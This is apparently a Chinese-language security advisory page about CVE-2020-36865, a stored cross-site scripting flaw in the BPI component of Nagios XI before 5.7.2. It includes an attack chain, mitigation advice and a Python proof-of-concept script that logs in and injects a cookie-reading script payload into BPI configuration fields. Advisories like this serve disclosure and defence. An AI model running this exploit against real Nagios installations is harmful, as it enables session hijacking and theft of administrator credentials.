IPBUF安全漏洞报告
English
CVE-2020-36865 CVSS 5.4 中危

CVE-2020-36865: Nagios XI BPI组件跨站脚本漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2020-36865
漏洞类型
XSS跨站脚本攻击
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

Nagios XI跨站脚本XSS存储型XSSBPI组件CVE-2020-36865配置管理Web应用漏洞会话劫持

漏洞概述

Nagios XI是美国Nagios公司开发的一套IT基础设施监控解决方案。该产品提供了全面的网络、设备、服务和应用程序监控功能,广泛应用于企业级环境中。2020年,安全研究人员发现Nagios XI在5.7.2之前的版本中存在严重的跨站脚本(XSS)漏洞。该漏洞位于Nagios XI的BPI(Business Process Intelligence)组件中,具体影响范围包括BPI的配置管理页面(Config Management)和编辑配置页面(Edit Config)。由于Nagios XI在处理用户输入时未对特殊字符进行充分的验证或转义,攻击者可以通过在这些功能模块中注入恶意JavaScript脚本代码。当其他用户访问被污染的页面时,恶意脚本将在受害者浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、恶意操作执行等安全问题。鉴于Nagios XI通常以高权限运行且常部署在关键基础设施中,此类XSS漏洞可能造成严重的安全风险。

技术细节

该漏洞属于存储型XSS(Stored XSS)漏洞,攻击者将恶意脚本永久存储在服务器端。BPI组件的Config Management和Edit Config功能在处理用户提交的配置数据时,未对name、description等字段进行严格的输入验证和HTML转义处理。攻击者可以利用以下方式利用此漏洞:首先,攻击者以低权限用户身份登录Nagios XI系统(该漏洞利用需要低权限认证,PR:L);然后访问BPI配置管理页面,在配置项中注入恶意JavaScript代码,例如在配置名称字段中插入<script>alert(document.cookie)</script>;保存配置后,恶意脚本被存储在数据库中。当具有管理员权限的用户或其他用户访问BPI配置页面时,存储的恶意脚本将被浏览器解析执行,从而实现对受害者会话的劫持或敏感信息的窃取。由于该漏洞需要用户交互(UI:R)才能触发,攻击成功率依赖于目标用户的操作行为。

攻击链分析

STEP 1
步骤1
攻击者获取Nagios XI系统低权限账户(PR:L要求)
STEP 2
步骤2
攻击者登录系统后访问BPI组件的配置管理页面
STEP 3
步骤3
在BPI配置项(如组名称、描述字段)中注入恶意JavaScript代码
STEP 4
步骤4
保存配置后,恶意脚本以存储型XSS形式永久存在于服务器数据库中
STEP 5
步骤5
具有管理员权限的用户访问BPI配置页面时触发恶意脚本执行
STEP 6
步骤6
攻击者通过XSS成功窃取受害者Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2020-36865 PoC - Nagios XI BPI XSS # Target: Nagios XI < 5.7.2 TARGET_URL = "http://target-nagios-xi.local" USERNAME = "lowpriv_user" PASSWORD = "password123" XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def login(session, target, username, password): """Authenticate to Nagios XI""" login_url = f"{target}/nagiosxi/login.php" data = { 'username': username, 'password': password } response = session.post(login_url, data=data, allow_redirects=True) return 'nagiosxi' in response.cookies.keys() def exploit_bpi_xss(session, target, payload): """Inject XSS payload into BPI Config Management""" # Step 1: Navigate to BPI Config Management bpi_config_url = f"{target}/nagiosxi/config/bpi.php" session.get(bpi_config_url) # Step 2: Create new BPI group with XSS payload create_url = f"{target}/nagiosxi/config/bpi.php?cmd=add" data = { 'bpi_group_name': payload, 'bpi_group_description': f'Malicious group {payload}', 'submit': 'Create' } response = session.post(create_url, data=data) return 'XSS payload submitted' in response.text def main(): session = requests.Session() # Authenticate if not login(session, TARGET_URL, USERNAME, PASSWORD): print("[-] Login failed") return print("[+] Login successful") # Exploit XSS if exploit_bpi_xss(session, TARGET_URL, XSS_PAYLOAD): print("[+] XSS payload injected successfully") print("[*] Wait for admin to visit BPI config page to trigger XSS") if __name__ == "__main__": main()

影响范围

Nagios XI < 5.7.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制低权限用户访问BPI配置管理功能;2)在Web应用层实施严格的输入过滤规则,对<script>、<img>、<svg>等可能触发XSS的标签和事件属性进行过滤;3)启用HTTPOnly和Secure标志保护Cookie;4)对BPI相关页面实施额外的访问控制和监控;5)考虑暂时禁用BPI组件直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表